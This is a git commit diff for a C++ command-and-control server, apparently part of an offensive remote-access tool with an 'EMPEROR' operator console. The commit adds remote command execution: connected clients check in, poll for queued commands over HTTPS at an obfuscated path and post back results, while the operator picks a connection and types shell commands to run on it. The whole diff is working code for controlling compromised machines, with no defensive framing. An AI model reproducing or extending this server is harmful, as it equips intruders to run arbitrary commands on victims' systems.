Added command execution functionality

This commit is contained in:
elimin8 2021-12-11 13:42:12 +00:00
parent d229f28acd
commit d1cc2a0382
No known key found for this signature in database
GPG Key ID: 0B92E083BBCCAA1E

View File

@ -3,70 +3,114 @@
#include <fstream> #include <fstream>
#include <vector> #include <vector>
#include <thread> #include <thread>
#include <map>
#include <string>
#include <regex>
// GLOBALS //GLOBALS
httpserver::webserver ws = httpserver::create_webserver(8665) bool bIncomingHey = false;
.use_ssl() std::string sIncomingHeyUser;
.https_mem_key("server.key") bool bShutdown = false;
.https_mem_cert("server.crt");
std::vector<std::vector<std::string>> retrievecreds(std::string sFile)
{
std::vector<std::vector<std::string>> sCreds;
std::vector<std::string> sUsernames;
std::vector<std::string> sPasswords;
std::fstream fCreds;
fCreds.open("creds", std::ios::in);
char ch;
bool bUsername = true;
std::string sUsername = "";
std::string sPassword = "";
while (true)
{
fCreds >> ch;
if (fCreds.eof())
{
sPasswords.push_back(sPassword);
break;
}
if (ch == ':')
{
bUsername = false;
fCreds >> ch;
sUsernames.push_back(sUsername);
sUsername = "";
}
if (ch == '\n')
{
bUsername = true;
fCreds >> ch;
sPasswords.push_back(sPassword);
sPassword = "";
}
if (bUsername)
{
sUsername += ch;
}
else
{
sPassword += ch;
}
}
sCreds.push_back(sUsernames);
sCreds.push_back(sPasswords);
return sCreds;
}
std::vector<std::vector<std::string>> sCreds = retrievecreds("creds");
std::map<std::string,bool> defaultUserConnections(std::vector<std::vector<std::string>>sCreds)
{
std::map<std::string,bool> mConnections;
for (int iUsernameIndex = 0; iUsernameIndex < sCreds[0].size(); iUsernameIndex++)
{
mConnections[sCreds[0][iUsernameIndex]] = false;
}
return mConnections;
}
std::map<std::string,std::string> defaultUserComms(std::vector<std::vector<std::string>>sCreds)
{
std::map<std::string,std::string> mComms;
for (int iUsernameIndex = 0; iUsernameIndex < sCreds[0].size(); iUsernameIndex++)
{
mComms[sCreds[0][iUsernameIndex]] = "";
}
return mComms;
}
std::map<std::string,std::string> mCommands = defaultUserComms(sCreds);
std::map<std::string,std::string> mResults = defaultUserComms(sCreds);
std::string listUserConnections(std::map<std::string,bool> mConnections)
{
std::ostringstream oss;
for (auto const& [key, val] : mConnections)
{
if (val == true)
{
oss << key << " is active.\n";
}
}
std::string sConnections = oss.str();
return sConnections;
}
std::map<std::string,bool> mConnections = defaultUserConnections(sCreds);
class command_and_control : public httpserver::http_resource class command_and_control : public httpserver::http_resource
{ {
public: public:
std::vector<std::vector<std::string>> retrievecreds(std::string sFile) bool verifycreds(std::vector<std::vector<std::string>> sCreds, std::string sUsername, std::string sPassword)
{
std::vector<std::vector<std::string>> sCreds;
std::vector<std::string> sUsernames;
std::vector<std::string> sPasswords;
std::fstream fCreds;
fCreds.open("creds", std::ios::in);
char ch;
bool bUsername = true;
std::string sUsername = "";
std::string sPassword = "";
while (true)
{
fCreds >> ch;
if (fCreds.eof())
{
sPasswords.push_back(sPassword);
break;
}
if (ch == ':')
{
bUsername = false;
fCreds >> ch;
sUsernames.push_back(sUsername);
sUsername = "";
}
if (ch == '\n')
{
bUsername = true;
fCreds >> ch;
sPasswords.push_back(sPassword);
sPassword = "";
}
if (bUsername)
{
sUsername += ch;
}
else
{
sPassword += ch;
}
}
sCreds.push_back(sUsernames);
sCreds.push_back(sPasswords);
return sCreds;
}
bool verifycreds(std::vector<std::vector<std::string>>sCreds, std::string sUsername, std::string sPassword)
{ {
for (int iUsernameIndex = 0; iUsernameIndex < sCreds[0].size(); iUsernameIndex++) for (int iUsernameIndex = 0; iUsernameIndex < sCreds[0].size(); iUsernameIndex++)
{ {
@ -84,23 +128,85 @@ class command_and_control : public httpserver::http_resource
return false; return false;
} }
std::vector<std::vector<std::string>>sCreds = retrievecreds("creds");
const std::shared_ptr<httpserver::http_response> render(const httpserver::http_request& req) const std::shared_ptr<httpserver::http_response> render(const httpserver::http_request& req)
{ {
if (verifycreds(sCreds, req.get_user(), req.get_pass())) if (verifycreds(sCreds, req.get_user(), req.get_pass()))
{ {
return std::shared_ptr<httpserver::http_response>(new httpserver::string_response("Authenticated")); if (req.get_method() == "POST")
{
if (req.get_arg("msg") == "ready")
{
std::ostringstream oss;
oss << "user=" << req.get_user() << "&msg=acknowledged";
std::string sResponse = oss.str();
bIncomingHey = true;
sIncomingHeyUser = req.get_user();
mConnections[req.get_user()] = true;
return std::shared_ptr<httpserver::http_response>(new httpserver::string_response(sResponse));
}
if (req.get_arg("msg") == "reqcmd")
{
if (mCommands[req.get_user()] != "")
{
std::ostringstream oss;
oss << "run=" << mCommands[req.get_user()];
return std::shared_ptr<httpserver::http_response>(new httpserver::string_response(oss.str()));
}
else
{
return std::shared_ptr<httpserver::http_response>(new httpserver::string_response("msg=nocmd"));
}
}
if (req.get_arg("result") != "")
{
mCommands[req.get_user()] = "";
mResults[req.get_user()] = req.get_arg("result");
std::ostringstream oss;
oss << "user=" << req.get_user() << "&msg=acknowledged";
std::string sResponse = oss.str();
return std::shared_ptr<httpserver::http_response>(new httpserver::string_response(sResponse));
}
}
} }
return std::shared_ptr<httpserver::http_response>(new httpserver::string_response("Not found")); return std::shared_ptr<httpserver::http_response>(new httpserver::string_response("Not found"));
} }
}; };
void startserver() void checkConnections()
{ {
command_and_control c2; while (!bShutdown)
ws.register_resource("/YVDvOraEcGwPAyjuBFzGespbRzifTpi", &c2); {
ws.start(false); if (bIncomingHey)
{
std::cout << "\nIncoming connection from " << sIncomingHeyUser << "\n[EMPEROR]>" << std::flush;
bIncomingHey = false;
sIncomingHeyUser = "";
}
}
}
void interactConnection(std::string sIdentifier)
{
std::string sCommand;
std::cout << "Starting interaction with " << sIdentifier << std::endl;
while (true)
{
std::cout << "[EMPEROR - " << sIdentifier << "]>";
std::getline(std::cin, sCommand);
if (sCommand == ":q")
{
break;
}
mCommands[sIdentifier] = sCommand;
std::cout << "Command sent, awaiting response..." << std::endl;
while (mResults[sIdentifier].empty())
{
continue;
}
std::cout << "Result: " << mResults[sIdentifier] << std::endl;
mResults[sIdentifier] = "";
}
} }
void prompt() void prompt()
@ -132,21 +238,51 @@ void prompt()
<,--''`.._>8888( <,--''`.._>8888(
`>__...--' `''` )" << std::endl; `>__...--' `''` )" << std::endl;
std::cout << "=========================================" << std::endl; std::cout << "=========================================" << std::endl;
std::string command; std::string sCommand;
while (true) while (true)
{ {
std::cout << "[EMPEROR]>"; std::cout << "[EMPEROR]>";
std::cin >> command; std::getline(std::cin, sCommand);
std::regex rConnect("connect ");
if (command == "sessions") if (sCommand == "connections")
{ {
std::cout << "No sessions currently active" << std::endl; std::cout << listUserConnections(mConnections);
} }
if (command == "q" || command == "quit" || command == "exit") if (std::regex_search(sCommand, rConnect))
{ {
ws.stop(); std::vector<std::string> sCommands;
std::string sSplit;
for (int i = 0; i < sCommand.length(); i++)
{
if (sCommand[i] == ' ')
{
sCommands.push_back(sSplit);
if (sCommands.size() > 2)
{
break;
}
sSplit = "";
}
else
{
sSplit.push_back(sCommand[i]);
if (i == (sCommand.length() - 1))
{
sCommands.push_back(sSplit);
}
}
}
if (mConnections[sCommands[1]])
{
interactConnection(sCommands[1]);
}
}
if (sCommand == "q" || sCommand == "quit" || sCommand == "exit")
{
bShutdown = true;
break; break;
} }
} }
@ -154,7 +290,15 @@ void prompt()
int main (int argc, char** argv) int main (int argc, char** argv)
{ {
startserver(); command_and_control c2;
httpserver::webserver ws = httpserver::create_webserver(8665)
.use_ssl()
.https_mem_key("server.key")
.https_mem_cert("server.crt");
ws.register_resource("/YVDvOraEcGwPAyjuBFzGespbRzifTpi", &c2);
ws.start(false);
std::thread tCheck(checkConnections);
prompt(); prompt();
tCheck.join();
return 0; return 0;
} }